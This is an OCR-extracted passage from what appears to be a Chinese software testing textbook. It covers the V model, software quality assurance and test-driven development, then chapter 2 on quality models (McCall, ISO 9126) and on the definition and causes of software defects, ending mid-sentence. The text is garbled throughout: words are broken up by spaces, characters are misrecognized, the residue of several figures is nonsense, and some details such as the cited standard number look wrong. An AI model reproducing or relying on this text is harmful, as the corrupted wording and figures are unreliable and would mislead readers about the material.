软件 开发 在 整个 软件 开发 生命 周期 中 交互 协作 ,自始至终 一 起 工作 ,共同 致力 于 同一 个 目 
标 一 一 按时 高 质量 地 完成 项 目 。 

V 模型 ,说 明 软 件 测试 活动 和 项 目 同 时 启动 ,软件 测试 的 工作 很 早 就 开始 了 ,避免 了 瀑布 
模型 所 带 来 的 误区 一 一 软件 测试 是 在 代码 完成 之 后 进行 。 在 V 模型 中 ,就 相对 能 够 准确 地 反 
映 测试 与 开发 之 间 的 关系 ,如 图 1-2 所 示 ,左边 是 软件 定义 和 实现 的 过 程 (包括 分 析 、 设 计 和 编 
程 ) ,右边 是 对 左边 所 构造 的 东西 进行 验证 的 过 程 ,测试 与 开发 有 一 对 一 的 关系 。 测 试 的 工作 
(右边 ) 是 对 开发 工作 (左边 ) 成 果 的 检验 ,以 确认 是 否 满足 事先 的 定义 和 要 求 。 

V 模型 从 左 到 右 描 述 了 基本 的 开发 过 程 和 测试 行为 ,非常 明确 地 标注 了 测试 过 程 中 存在 
的 不 同类 型 的 测试 ,并 且 清 楚 地 描述 了 这 些 测试 阶段 和 开发 过 程 期 间 各 阶段 的 对 应 关系 , 即 从 
4 个 层次 完成 软件 的 验证 , 即 对 需求 ,系统 架构 设计 、` 详 细 的 产品 设计 和 代码 的 验证 。 

(1) 需求 验证 对 应 验收 测试 ,客户 需求 的 确认 测试 ; 

(2) 系统 架构 设计 的 验证 对 应 系统 非 功 能 性 测试 ; 

(3) 产品 详细 设计 的 验证 对 应 功能 测试 

(4) 代码 的 验证 对 应 单元 测试 和 集成 测试 。 


用 户 需求 验证 


二 人 


需求 分 析 和 定义 验收 测试 


系统 非 功能 特性 验证 
系统 设计 让 一- -系统 开 功 能 特性 验证 _____ 未 统 非 功能 性 测试 


功能 验证 
ij 能 设计 妆 一 -2 -一 


代码 验证 验证 过 程 


编码 息 一 一 仿 单元 测试 


1-2 V 模型 呈现 测试 和 开发 


也 就 是 说 ,如 果 只 在 某 一 两 个 方面 (如 代码 测试 功能 测试 ) 完 成 对 软件 产品 的 测试 ,都 说 
明 测试 是 不 完整 的 。 只 有 从 这 4 个 层次 完成 对 软件 产品 的 测试 才 是 完整 的 。 在 第 4 章 还 会 讨 
论 W 测试 模型 ,进一步 了 解 测试 与 开发 的 关系 。 


1.5 测试 和 质量 保证 的 关系 


任何 形式 的 产品 都 是 过 程 执行 得 到 的 结果 ,因此 对 过 程 进行 管理 与 控制 是 提高 产品 质量 
的 一 个 重要 途径 。 软 件 质量 保证 (Software Quality Assurance,SQA) 活 动 是 通过 对 软件 产品 
有 计划 地 进行 评审 和 审计 来 验证 软件 是 否 合乎 标准 的 系统 工程 ,通过 协调 、 审 查 和 跟踪 以 获取 
有 用 信息 ,形成 分 析 结果 以 指导 软件 过 程 。 

(1) 确保 SQA 活动 要 自始至终 有 计划 地 进行 。 

(2) 与 软件 项 目 其 他 工作 组 一 起 工作 ,制定 计划 、 标 准 和 规程 等 ,而 且 确保 它们 满足 项 目 
和 组 织 方 针 上 的 要 求 。 

(3) 对 软件 工程 各 个 阶段 的 进展 、 完 成 质量 及 出 现 的 问题 进行 评审 、 跟 踪 。 

(4) 如 果 发 现 不 符合 问题 , 逐 级 解决 不 符合 问题 。 

(5) 审查 和 验证 软件 产品 是 否 遵守 适用 的 标准 、 规 程 和 要 求 , 并 最 终 确保 符合 标准 、 满 足 
要 求 。 

(6) 建立 软件 质量 要 素 的 度量 机 制 ,了 解 各 种 指标 的 量化 信息 ,向 管理 者 提供 可 视 信 息 。 

(7) SQA 和 结果 要 保证 全 员 参 与 ,沟通 顺畅 。 

SQA 部 门 在 新 项 目的 需求 分 析 阶 段 就 开始 介入 ,对 形成 的 软件 需求 进行 分 析 与 评价 ,并 
提出 可 能 存在 的 问题 ,诸如 安全 性 、 可 靠 性 、 可 扩展 性 、 易 用 性 等 ,并 根据 软件 本 身 特 性 、 规 模 及 
将 来 的 运行 环境 等 进行 综合 评定 ,确定 软件 要 满足 的 质量 要 求 , 记 录 下 来 形成 正式 文档 , 尽 可 
能 对 软件 周期 各 个 阶段 的 测量 确定 一 个 定量 或 定性 的 标准 ,作为 以 后 各 阶段 评审 的 标准 和 
依据 。 

从 这 里 可 以 看 出 ,SQA 与 软件 测试 之 间 相 辅 相 成 , 既 存 有 包含 又 存 有 交叉 的 关系 。SQA 
指导 ,监督 软件 测试 的 计划 和 执行 ,督促 测试 工作 的 结果 客观 、 准 确 和 有 效 , 并 协助 测试 流程 的 


改进 。 而 软件 测试 是 SQA 重要 手段 之 一 ,为 SQA 提供 所 需 的 数据 ,作为 质量 评价 的 客观 依 
据 。 它 们 的 相同 点 在 于 二 者 都 是 贯穿 整个 软件 开发 生命 周期 的 流程 。 它 们 的 不 同 之 处 在 于 
SQA 是 一 项 管理 工作 ,侧重 于 对 流程 的 评审 和 监控 ,而 测试 是 一 项 技术 性 的 工作 ,侧重 对 产品 
进行 评估 和 验证 。 


1.6 测试 驱动 开发 的 思想 


在 目前 比较 流行 的 敏捷 方法 (如 极限 编程 .Scrum 方法 等 ) 中 ,提出 了 “测试 驱动 开发 (Test 
Driven Development,TDD)” 一 一 测试 在 先 、 编 码 在 后 的 开发 方法 。TDD 有 别 于 以 往 的 先 编 
码 后 测试 的 开发 过 程 ,而 是 在 编程 之 前 , 先 写 测试 脚本 或 设计 测试 用 例 。TDD 在 敏捷 方法 中 
被 称 为 “测试 第 一 的 开发 ”, 而 在 IBM Rational 统一 过 程 (Rational Unified Process,RUP) 中 被 
称 为 “测试 第 一 的 设计 ”。 所 有 这 些 ,都 在 强调 "测试 先行 ,使 得 开发 人 员 对 所 写 的 代码 有 足够 
的 信心 ,同时 也 有 勇气 进行 代码 重 构 。 

TDD 具体 实施 过 程 ,如 图 1-3 所 示 。 在 打算 添加 某 项 新 功能 时 , 先 不 要 急 着 写 程序 代码 ， 
而 是 将 各 种 特定 条 件 、 使 用 场景 等 想 清楚 ,为 待 编写 的 代码 先 写 一 段 测试 用 例 。 然 后 ,利用 集 
成 开发 环境 或 相应 的 测试 工具 来 执行 这 段 测试 用 例 ,结果 自然 是 失败 。 利 用 没有 通过 测试 的 
错误 信息 反馈 ,了 解 到 代码 没有 通过 测试 用 例 的 原因 ,有 针对 性 地 逐步 地 添加 代码 。 为 了 要 使 
该 测试 用 例 通过 ,就 要 补充 ,修改 代码 ,直到 代码 符合 测试 用 例 的 要 求 , 获 得 通过 。 测 试用 例 全 
部 执行 成 功 ,说 明 新 添加 的 功能 通过 了 单元 测试 ,可 以 进入 下 一 个 环节 。 


开始 mm ”为 新 性 能 


号 一 个 测试 
人 
运行 测试 U 
并 通过 修订 编译 错误 
运行 测试 


编写 代码 < jf 发现 错误 


有 I 大 


图 1-3 测试 驱动 开发 的 软件 过 程 


TDD 从 根本 上 改变 了 开发 人 员 的 编程 态度 ,开发 人 员 不 能 再 像 过 去 那样 随意 写 代 码 ,要 
求 写 的 每 行 代码 都 是 有 效 的 代码 , 写 完 所 有 的 代码 就 意味 着 真正 完成 了 编码 任务 。 而 在 此 之 
前 ,代码 写 完了 ,实际 上 ,编程 工作 没有 结束 ,因为 单元 测试 还 没 执行 ,其 中 会 发 现 许多 错误 ,等 
待 去 修正 。 测 试 驱动 开发 在 于 先 想 好 各 种 应 用 场景 .前提 条 件 ,促进 开发 人 员 思 考 , 写 出 更 完 
善 的 代码 ,提高 工作 效率 。 其 次 ,也 确保 测试 具有 独立 性 ,不 受 实 现 思维 的 影响 ,确保 测试 的 客 
观 、 全 面 。 最 后 ,也 确保 所 有 代码 的 可 测试 性 ,每 一 行 代码 得 到 了 测试 ,确保 代码 的 质量 。 

测试 驱动 开发 一 改 以 往 的 破坏 性 测试 的 思维 方式 ,测试 在 先 、 编 码 在 后 ,更 符合 “缺陷 预 
防 ” 的 思想 。 这 样 一 来 ,编码 的 思维 方式 发 生 了 很 大 的 变化 ,编写 出 高 质量 的 代码 去 通过 这 些 
测试 ,在 写 每 一 行 代码 时 就 要 确保 能 通过 测试 。 测 试 ,也 从 以 前 的 破坏 性 的 方法 转移 到 一 种 建 
设 性 的 方法 中 来 。 在 这 种 积极 心态 的 影响 下 ,开发 人 员 的 工作 效率 会 有 很 大 的 提高 ,降低 开发 
成 本 ,提高 程序 的 质量 。 


小 结 


本 章 主要 讨论 下 面 几 个 问题 

(1) 为 什么 要 开展 软件 测试 活动 ? 

(2) 什么 是 软件 测试 ? 

(3) 如 何 理解 软件 测试 ? 

(4) 软件 测试 和 开发 的 关系 ? 

(5) 软件 测试 和 质量 保证 的 关系 ? 

从 讨论 的 结果 中 得 知 ,没有 测试 ,软件 就 没有 质量 ; 测试 没 做 好 ,软件 问题 可 能 会 引起 灾 
难 或 给 软件 企业 带 来 巨大 的 损失 。 软 件 测试 是 软件 质量 保证 的 重要 手段 之 一 ,是 软件 开发 过 
程 中 不 可 缺少 的 部 分 。 软 件 测试 ,不 仅 要 检验 软件 是 否 已 正确 地 实现 了 产品 规格 书 所 定义 的 
系统 功能 和 特性 ,而 且 要 确认 所 开发 的 软件 是 否 满足 用 户 真正 需求 的 活动 。 软 件 测试 无 法 证 
明 软 件 是 正确 的 ,总 是 存在 风险 的 ,这 就 规定 了 软件 测试 人 员 要 尽 可 能 地 发 现 软件 问题 。 从 这 
个 意义 上 看 ,软件 测试 是 为 了 发 现 缺 陷 , 而 且 要 尽早 地 发 现 缺陷 。 

通过 对 软件 测试 的 风险 观点 和 经 济 观点 的 分 析 , 可 以 更 好 地 理解 软件 测试 。 通 过 V 模 
型 ,可 以 更 客观 地 ,更 准确 地 描述 软件 测试 和 软件 开发 的 关系 。 软 件 测试 贯穿 着 整个 软件 生命 
周期 ,和 软件 开发 构成 相辅相成 的 关系 。 软 件 测试 驱动 开发 方法 再 次 昭示 了 测试 的 重要 性 ,对 
提高 软件 质量 、 降 低 软件 开发 成 本 有 很 大 帮助 。 


1. 在 你 的 印象 中 ,是 否 还 有 其 他 实例 说 明 软 件 问 题 会 造成 巨大 经 济 损失 或 带 来 社会 
灾害 ? 

2. 谈 谈 关 于 软件 测试 的 正 反 两 方面 观点 所 带 来 的 利 棘 。 

3. 软件 测试 和 软件 开发 的 关系 是 怎样 的 ? 为 什么 这 样 说 ? 

4. 如 何 看 待 敏捷 方法 的 TDD 思想 ?在 实施 Scrum 敏捷 方法 时 ,测试 工作 又 会 面临 哪些 
新 的 挑战 ? 


CHAPTER 2 
i 
第 2 章 


软件 测试 的 基本 概念 


第 1 章 着 重 介 绍 了 为 什么 要 进行 软件 测试 和 什么 是 软件 测试 ,从 而 
使 我 们 认识 到 软件 测试 是 软件 质量 保证 的 重要 手段 之 一 。 软 件 测试 的 
主要 目的 之 一 就 是 为 了 发 现 软件 中 存在 的 缺陷 。 所 以 要 做 好 测试 ,首先 
就 要 了 解 什么 是 缺陷 。 而 要 了 解 什么 是 缺陷 ,就 必须 清楚 “质量 ”的 概 
念 ,因为 缺陷 是 相对 质量 而 存在 的 ,违背 了 质量 、 违 背 了 客户 的 意愿 ,不 
能 满足 客户 的 要 求 ,就 会 引起 缺陷 或 产生 缺陷 ,图 2-1 描述 了 客户 、 质 
量 、 缺 陷 和 测试 的 关系 。 概 括 地 说 ,没有 满足 质量 要 求 、 和 质量 冲突 的 东 
西 就 是 缺陷 ,缺陷 是 质量 的 对 立 面 。 只 有 深刻 地 理解 质量 的 内 涵 , 才 能 
更 早 、 更 多 地 发 现 软件 产品 中 的 缺陷 。 


软 
要 求 或 期 望 | 质 缺 | 发现 | 件 
量 | 矛盾 或 对 立 | 陷 


图 2-1 客户 .质量 ,缺陷 和 测试 的 关系 


本 章 从 软件 质量 出 发 ,了 解 软件 质量 内 涵 , 然 后 引出 软件 缺陷 的 产 
生 原 因 、 种 类 和 代价 等 。 最 后 ,将 全 面 介绍 软件 测试 相关 的 概念 ,包括 软 
件 测试 的 分 类 测试 的 不 同 阶段 ,测试 工作 的 具体 内 容 和 范畴 等 ,使 读者 
完整 地 理解 软件 测试 的 基本 内 涵 。 


2.1 软件 缺陷 


正如 前 面 所 说 ,要 了 解 缺陷 ,就 必须 理解 “质量 ”的 概念 ,理解 软件 质 
量 的 内 涵 。 软 件 产 品 具有 一 般 产 品 的 共性 ,也 有 其 独 具 的 特性 ,软件 产 
品 的 质量 概念 是 建立 在 一 般 产 品质 量 概念 及 理论 的 基础 之 上 ,同时 由 于 
软件 本 身 的 特性 ,而 具有 不 同 的 内 涵 。 下 面 ,围绕 软件 质量 和 软件 缺陷 
展开 讨论 ,例如 : 

(1) 什么 是 质量 ? 软件 质量 有 什么 不 同 ? 

(2) 如 何 定义 软件 缺陷 ? 

(3) 软件 缺陷 是 如 何 产生 的 ? 

(4) 缺陷 主要 来 源 于 哪些 地 方 ? 


(5) 不 同 的 阶段 所 产生 的 缺陷 , 带 来 多 大 的 成 本 ? 


2.1.1 软件 质量 的 内 酒 


世界 著名 的 质量 管理 专家 朱 兰 为 “质量 给 出 一 个 确切 的 含义 ,满足 使 用 要 求 的 基础 是 质 
量 特征 ,产品 的 任何 特性 (性 质 、. 属 性 等 )\ 材 料 或 满足 使 用 要 求 的 过 程 都 是 质量 特征 。 从 而 , 演 
变 为 国际 标准 化 的 定义 , 即 1986 年 ISO 8492 中 所 给 出 的 质量 定义 : 质量 是 产品 或 服务 所 满 
足 明 示 或 暗示 需求 能 力 的 固有 特性 和 特征 的 集合 。 

(1) 固有 特性 是 指 某 事物 中 本 来 就 有 的 ,尤其 是 那 种 永久 的 特性 ,例如 ,木材 的 硬度 、 桌 子 
的 高 度 声音 的 频率 和 螺栓 的 直径 等 技术 特性 。 

(2) 明示 的 特性 ,可 以 理解 为 是 规定 的 要 求 , 一 般 在 国家 标准 ,行业 规范 、 产 品 说 明 书 或 产 
品 设计 规格 说 明 书 中 进行 描述 或 客户 明确 提出 的 要 求 , 如 计算 机 的 尺寸 重量、 内 存 和 接口 等 ， 
用 户 可 以 查看 。 

(3) 暗示 的 特性 是 由 社会 习俗 约定 ,行为 惯例 所 要 求 的 一 种 潜 规 则 、 不 言 而 喻 的 。 一 般 情 
况 下 ,文档 中 不 会 给 出 明确 的 规定 ,组 织 应 根据 自身 产品 的 用 途 和 特性 进行 识别 ,并 做 出 规定 。 
比如 一 张 4 条 腿 的 餐桌 ,只 要 告诉 一 条 腿 的 高 度 就 可 以 了 ,上 暗示 着 另外 三 条 腿 必 须 具 有 相同 
高 度 。 

而 在 IBM RUP( 统 一 过 程 ) 中 ,质量 被 定义 为 “满足 或 超出 认定 的 一 组 需求 ,并 使 用 经 过 认 
可 的 评测 方法 和 标准 来 评估 ,还 使 用 认定 的 流程 来 生产 *”。 因 此 ,质量 不 是 简单 地 满足 用 户 的 
需求 ,还 要 包含 证 明 质量 达标 所 使 用 的 评测 方法 和 标准 ,以 及 如 何 实施 可 管理 .可 重复 使 用 的 
流程 ,以 确保 由 此 流程 生产 的 产品 已 达到 预期 的 ,稳定 的 质量 水 平 。 

软件 质量 与 传统 意义 上 的 质量 概念 并 无 本 质 差别 ,只 是 软件 质量 拥有 一 些 自 身 的 特性 ,这 
也 是 由 软件 的 特点 所 决定 的 。 例 如 ,Barry Boehm 从 计算 机 软件 角度 看 ,认为 软件 质量 是 “ 达 
到 高 水 平 的 用 户 满意 度 、 接 口 性 .维护 性 ,强壮 性 和 适用 性 ?的 体现 。1983 年 , ANSI/IEEE 
STD729 给 出 了 软件 质量 定义 一 一 软件 产品 满足 规定 的 和 隐 含 的 与 需求 能 力 有 关 的 全 部 特征 
和 特性 , 它 包 括 : 

(1) 软件 产品 质量 满足 用 户 要 求 的 程度 ; 

(2) 软件 各 种 属性 的 组 合 程度 ; 

(3) 用 户 对 软件 产品 的 综合 反映 程度 ; 

(4) 软件 在 使 用 过 程 中 满足 用 户 要 求 的 程度 。 

这 些 特性 反映 了 在 人 们 日 常生 活 中 所 说 的 软件 系统 的 易 用 性 、 功 能 性 有效 性 \、 可 靠 性 和 
性 能 等 方面 。 如 RUP 将 软件 产品 质量 定义 为 三 个 维度 的 质量 ,其 中 功能 和 性 能 是 大 家 非常 
熟悉 的 质量 特性 ,可 靠 性 也 不 陌生 ,与 稳定 性 比较 接近 。 

(1) 功能 : 按照 既定 意图 和 要 求 ,执行 指定 用 例 的 能 力 。 

(2) 性 能 : 系统 的 资源 利用 率 和 操作 特征 。 资 源 利用 率 包括 CPU 内存 等 所 占有 的 程度 。 
性 能 的 操作 特征 包括 与 作业 负载 相关 的 特征 ,如 响应 时 间 、 操 作 可 靠 性 (Mean Time To 
Failure,MTTF) ,以 及 与 操作 限制 相关 的 特征 ,如 负载 容量 或 强度 。 

(3) 可 靠 性 : 软件 坚固 性 和 可 靠 性 ( 防 故障 能 力 , 如 防止 崩溃 .内 存 丢失 等 能 力 )、 代 码 完 
整 性 以 及 技术 兼容 性 等 。 

如 果 进 一 步 展开 这 三 维 质量 特性 ,可 以 分 析 更 多 的 、 特 定 的 产品 质量 属性 。 正 如 McCall 
模型 (如 图 2-2 所 示 ) 所 描述 的 。 


冰 述 性 
正确 性 
连贯 性 
容错 性 
执行 效率 /储存 效率 
存 取 控 制 / 存 取 检 查 
可 操作 性 


产品 操作 忆 


产品 修改 了 


模块 性 
三 = 软件 系统 独立 性 
机 器 独立 性 
通信 公开 性 
数据 公开 性 

图 2-2 McCall 质量 模型 的 示意 图 


除了 McCall 模型 ,还 有 其 他 产品 质量 模型 ,如 Boehm 模型 ISO 9126 模型 。 如 图 2-3 所 
示 的 ISO 9126 三 层 质 量 模型 ,被 国内 和 国际 标准 采用 。 


产品 转换 


匹配 性 
功能 性 精确 性 
互 用 性 
安全 性 
[me | < 二 成 熟 性 
容错 能 力 
可 恢复 性 写 
可 理解 性 户 
可 操作 性 
效率 时 间 表 现 产 
-| 资源 表现 吕 
[i 可 分 析 性 长 
可 变化 性 准 
稳定 性 
可 测试 性 
加 
易 安装 性 
一 至 性 
可 替换 性 
SQRC SQDC SQMC 


图 2-3 ISO 9126 软件 质量 三 层 模型 


(1) 高 层 : 软件 质量 需求 评价 准则 (Software Quality Requirement Code,SQRC)。 

(2) 中 层 : 软件 质量 设计 评价 准则 (Software Quality Design Code, SQDC)。 

(3) 低层 : 软件 质量 度量 评价 准则 (Software Quality Measurement Code,'SQMC ) 。 

根据 这 些 质量 模型 ,软件 产品 质量 可 以 归纳 为 以 下 几 个 属性 。 

(1) 功能 性 (Functionality): 软件 所 实现 的 功能 达到 它 的 设计 规范 和 满足 用 户 需 求 的 
程度 。 

(2) 可 用 性 (Usability) : 对 于 一 个 软件 ,用户 学 习 、 操 作 、 准 备 输入 和 理解 输出 所 做 努力 的 
程度 ,如 安装 简单 方便 、 容 易 使 用 、 界 面 友好 ,并 能 适用 于 不 同 特 点 的 用 户 ,包括 对 残疾 人 、 有 缺 
陷 的 人 能 提供 产品 使 用 的 有 效 途 径 或 手段 。 

(3) 可 靠 性 (Reliability) : 在 规定 的 时 间 和 条 件 下 ,软件 所 能 维持 其 正常 的 功能 操作 ,性 能 
水 平 的 程度 。 

(4) 性 能 (Performance) : 在 指定 条 件 下 ,软件 对 操作 的 响应 速度 以 及 实现 某 种 功能 所 需 
的 计算 机 资源 (包括 内 存 大 小 .CPU 占用 时 间 等 ) 的 有 效 程度 。 

(5) 容量 (Capacity) : 系统 的 接受 力 、 容 纳 或 吸收 的 能 力 ,或 某 项 功能 的 最 大 数据 量 或 最 
大 限度 ,有 时 需要 确定 系统 特定 的 需求 所 能 容纳 的 最 大 量 、 所 能 表现 的 最 大 值 。 如 Web 系统 
能 承受 多 少 并 发 用 户 同 时 访问 ,网 络 会 议 系统 可 以 承受 的 与 会 人 数 等 。 

(6) 可 测量 性 (Scalability) : 系统 某 些 特性 可 以 通过 一 些 量化 的 数据 指标 描述 其 当前 状态 
或 设 定 状态 。 

(7) 可 维护 性 (Service Manageability) : 当 一 个 软件 投入 运行 应 用 后 ,需求 发 生变 化 、 环 境 
改变 或 软件 发 生 错误 时 ,进行 相应 修改 所 做 努力 的 程度 。 

(8) 兼容 性 (Compatibility): 软件 从 一 个 计算 机 系统 或 环境 移植 到 另 一 个 系统 或 环境 的 
容易 程度 ,或 者 是 一 个 系统 和 外 部 条 件 共同 工作 的 容易 程度 。 兼 容 性 表现 在 多 个 方面 ,如 系统 
的 软件 和 硬件 的 兼容 性 不同 版 本 的 软件 系统 和 数据 的 兼容 性 。 

(9) 可 扩展 性 (Extensibility) : 指 将 来 增加 新 功能 .扩充 系统 能 力 的 难 易 程度 。 

根据 标准 ISO/IEC TR 9126(2003) 或 新 的 ISO/IEC 25000(2010) 系 列 标准 ,软件 质量 分 
为 内 部 质量 、 外 部 质量 、 使 用 质量 ,而 且 具 有 下 列 关系 ,如 图 2-4 所 示 。 其 中 ,外 部 质量 如 ISO 
9126 SQRC 所 描述 的 ,而 纯 内 部 质量 包括 需求 的 可 追溯 性 、 软 件 规模 .代码 的 复杂 度 、 软 件 信 
息 流 复杂 度 .代码 耦合 性 .数据 耦合 性 、 模 块 化 .变量 命名 程序 规范 性 等 。 

软件 产品 软件 产品 的 效果 
影响 


内 部 度量 外 部 度量 在 使 用 中 度量 
图 2-4 内 部 质量 、 外 部 质量 、 使 用 质量 之 间 的 关系 


从 ISO/IEC 25000 标准 看 ,软件 测试 还 要 关注 使 用 质量 ,如 图 2-5 所 示 。 在 使 用 质量 中 ， 
不 仅 包含 基本 的 功能 和 非 功能 特性 ,如 功能 (有 效 、 有 用 ) 、 效 率 (性 能 ) .安全 性 等 ,还 要 求 用 户 
在 使 用 软件 产品 过 程 中 获得 愉悦 ,对 产品 信任 ,产品 也 不 应 该 给 用 户 带 来 经 济 、 健 康 和 环境 等 
风险 ,并 能 处 理 好 业务 的 上 下 文 关系 ( 语 境 ) ,覆盖 完整 的 业务 领域 。 


使 用 质量 
( 有效 性 ] ( 效率 ] ( 满意 ] [远离 风险 ] ( 语 境 覆盖 ] 
和 放任 安全 | ”| 语 境 完整 
有 效 性 | | 效率 愉悦 风险 级 角 灵活 性 
舒服 环境 风险 缓解 


2-5 使 用 质量 的 属性 描述 


2.1.2 软件 缺陷 的 定义 


对 于 软件 存在 的 各 种 问题 ,人 们 常用 “软件 缺陷 ”这 个 词 ,在 英文 中 人 们 喜欢 用 一 个 形象 的 
词 *Bug( 臭 虫 )" 来 代替 “Defect (缺陷 )" 一 词 。 实 际 上 ,与 “缺陷 (Bug)” 相 近 的 词 还 有 很 多 ， 
例如 : 


缺点 (Defect) 偏差 (Variance) 

廖 误 (Fault) 失败 (Failure) 
问题 (Problem) 矛盾 (Inconsistency) 
错误 (Error) 毛病 (Incident) 
异常 (Anomy) 


软件 缺陷 的 含义 相对 比较 广泛 ,包含 各 种 偏差 , 廖 误 或 错误 ,其 结果 表现 在 功能 上 的 失败 
和 不 符合 设计 要 求 ,客户 的 实际 需求 , 即 与 需求 相 了 矛盾。 所 以 ,软件 缺陷 是 指 计算 机 系统 或 者 
程序 中 存在 的 任何 一 种 破坏 正常 运行 能 力 的 问题 错误 ,或 者 隐藏 的 功能 缺陷 、 瑕 盖 , 其 结果 会 
导致 软件 产品 在 某 种 程度 上 不 能 满足 用 户 的 需要 。 在 IEEE Standard 729(1983) 中 对 软件 缺 
陷 给 出 了 一 个 标准 的 定义 。 

(1) 从 产品 内 部 看 ,软件 缺陷 是 软件 产品 开发 或 维护 过 程 中 所 存在 的 错误 .毛病 等 各 种 问题 。 

(2) 从 外 部 看 ,软件 缺陷 是 系统 所 需要 实现 的 某 种 功能 的 失效 或 违背 。 

软件 缺陷 就 是 软件 产品 中 所 存在 的 问题 ,最 终 表现 为 用 户 所 需要 的 功能 没有 完全 实现 , 没 
有 满足 用 户 的 需求 。 而 软件 缺陷 表现 的 形式 是 各 种 各 样 的 ,不 仅 体现 在 功能 的 失效 方面 ,还 体 
现在 其 他 方面 ,例如 : 

(1) 运行 出 错 ,包括 运行 中 断 、 系 统 崩 溃 、 界 面 混乱 。 

(2) 数据 计算 错误 ,导致 结果 不 正确 。 

(3) 功能 ,特性 没有 实现 或 部 分 实现 。 

(4) 在 某 种 特定 条 件 下 没 能 给 出 正确 或 准确 的 结果 。 

(5) 计算 的 结果 没有 满足 所 需要 的 精度 。 

(6) 用 户 界 面 不 美观 ,如 文字 显示 不 对 齐 .字体 大 小 不 一 致 等 。 

(7) 需求 规格 说 明 书 (Requirement Specification 或 Functional Specification) 的 问题 ,如 
漏 掉 某 个 需求 .表达 不 清楚 或 前 后 矛盾 等 。 

(8) 设计 不 合理 ,存在 缺陷 。 例 如 ,计算 机 游戏 只 能 用 键盘 玩 而 不 能 用 鼠标 玩 。 

(9) 实际 结果 和 预期 结果 不 一 致 。 

(10) 用 户 不 能 接受 的 其 他 问题 ,如 存 取 时 间 过 长 ,操作 不 方便 等 。 


2.1.3 软件 缺陷 的 产生 


如 前 所 说 ,由 于 软件 系统 越 来 越 复杂 ,不 管 是 需求 分 析 、 程 序 设计 等 都 面临 越 来 越 大 的 挑 
战 。 由 于 软件 开发 人 员 思 维 上 的 主观 局 限 性 , 且 目 前 开发 的 软件 系统 都 具有 相当 的 复杂 性 , 决 
定 了 在 开发 过 程 中 出 现 软件 错误 是 不 可 避免 的 。 造 成 软件 缺陷 的 主要 原因 有 哪些 ?可 以 从 软 
件 本 身 .团队 工 作 和 技术 问题 等 多 个 方面 分 析 , 以 确定 造成 软件 缺陷 的 主要 因素 。 

1. 技术 问题 

(1) 开发 人 员 技 术 的 限制 ,系统 设计 不 能 够 全 面 考虑 功能 、 性 能 和 安全 性 的 平衡 。 

(2) 刚 开始 采用 新 技术 ,解决 和 处 理 问 题 时 不 够 成 熟 。 

(3) 由 于 逻辑 过 于 复杂 ,很 难 在 第 一 次 就 将 问题 全 部 处 理 好 。 

(4) 系统 结构 设计 不 合理 或 算法 不 科学 ,造成 系统 性 能 低下 。 

(5) 接口 参数 太 多 ,导致 参数 传递 不 匹配 。 

(6) 需求 规格 说 明 书 中 有 些 功能 在 技术 上 无 法 实现 。 

(7) 没有 考虑 系统 崩溃 后 的 自我 恢复 或 数据 的 异地 备份 .灾难 性 恢复 等 需求 ,导致 系统 存 
在 安全 性 .可靠 性 的 隐患 。 

(8) 一 般 情况 下 ,对 应 的 编程 语言 编译 器 可 以 发 现 这 类 问题 ; 对 于 解释 性 语言 ,只 能 在 测 
试 运行 的 时 候 发 现 。 

2. 软件 本 身 

(1) 不 完善 的 软件 开发 标准 或 开发 流程 。 

(2) 文档 错误 ,内 容 不 正确 或 拼写 错误 。 

(3) 没有 考虑 大 量 数据 使 用 场合 ,从 而 可 能 会 引起 强度 或 负载 问题 。 

(4) 对 程序 逻辑 路 径 或 数据 范围 的 边界 考虑 不 够 周全 , 漏 掉 某 几 个 边界 条 件 造成 的 问题 。 

(5) 对 一 些 实时 应 用 系统 ,缺乏 整体 考虑 和 精心 设计 ,忽视 了 时 间 同 步 的 要 求 , 从 而 引起 系 
统 各 单元 之 间 不 协调 .不一致 性 的 问题 。 

(6) 与 硬件 .第 三 方 系统 软件 之 间 存 在 接口 或 依赖 性 。 

3. 团队 工作 

(1) 团队 文化 ,如 对 软件 质量 不 够 重视 。 

(2) 系统 分 析 时 对 客户 的 需求 不 是 十 分 清楚 ,或 者 和 用 户 的 沟通 存在 一 些 困难 ,从 而 造成 
对 用 户 需 求 的 误解 或 理解 不 够 全 面 。 

(3) 不 同 阶段 的 开发 人 员 相互 理解 不 一 致 ,软件 设计 对 
需求 分 析 结果 的 理解 偏差 ,编程 人 员 对 系统 设计 规格 说 明 
书 中 某 些 内 容重 视 不 够 ,或 存在 着 误解 。 

(4) 设计 或 编程 上 的 一 些 假定 或 依赖 性 ,没有 得 到 充分 
的 沟通 。 


2.1.4 软件 缺陷 的 构成 


软件 缺陷 是 由 很 多 原因 造成 的 ,如 果 把 它们 按 需 求 分 
析 结 果 一 一 规格 说 明 书 、 系 统 设计 结果 、 编 程 的 代码 等 归 类 Ca 
起 来 ,比较 后 发 现 ,结果 规格 说 明 书 是 软件 缺陷 出 现 最 多 的 
地 方 , 见 图 2-6。 2-6 软件 缺陷 构成 示意 图 


软件 产品 规格 说 明 书 为 什么 是 软件 缺陷 存在 最 多 的 地 方 ? 主要 原因 有 以 下 几 种 。 

(1) 用 户 一 般 是 非 计算 机 专业 人 员 ,软件 开发 人 员 和 用 户 的 沟通 存在 较 大 困难 ,对 要 开发 
的 产品 功能 理解 不 一 致 。 

(2) 由 于 软件 产品 还 没有 设计 、 开 发 ,完全 靠 想 象 去 描述 系统 的 实现 结果 ,所 以 有 些 特 性 
还 不 够 清晰 。 

(3) 需求 变化 的 不 一 致 性 。 用 户 的 需求 总 是 在 不 断 变化 的 ,这 些 变化 如 果 没 有 在 产品 规 
格 说 明 书 中 得 到 正确 的 描述 ,容易 引起 前 后 文 、 上 下 文 的 矛盾 。 

(4) 对 规格 说 明 书 不 够 重视 ,在 规格 说 明 书 的 设计 和 写作 上 投入 的 人 力 ,时间 不 足 。 

(5) 没有 在 整个 开发 队伍 中 进行 充分 沟通 ,有 时 只 有 设计 师 或 项 目 经 理 得 到 比较 多 的 
信息 。 

排 在 产品 规格 说 明 书 之 后 的 是 设计 ,编程 排 在 第 三 位 。 在 许多 人 的 印象 中 ,软件 测试 主要 
是 找 程序 代码 中 的 错误 ,这 是 一 个 认识 的 误区 。 如 果 从 软件 开发 各 个 阶段 能 够 发 现 软件 缺陷 
数目 看 ,比较 理想 的 情况 也 主要 集中 在 需求 分 析 、 系 统 设计 、 编 程 阶段 (包括 单元 测试 ) 等 三 个 
阶段 中 ,而 在 系统 测试 阶段 ,能够 发 现 的 缺陷 数目 不 应 该 多 , 即 经 过 需求 评审 、 设 计 评 审 、 代 码 
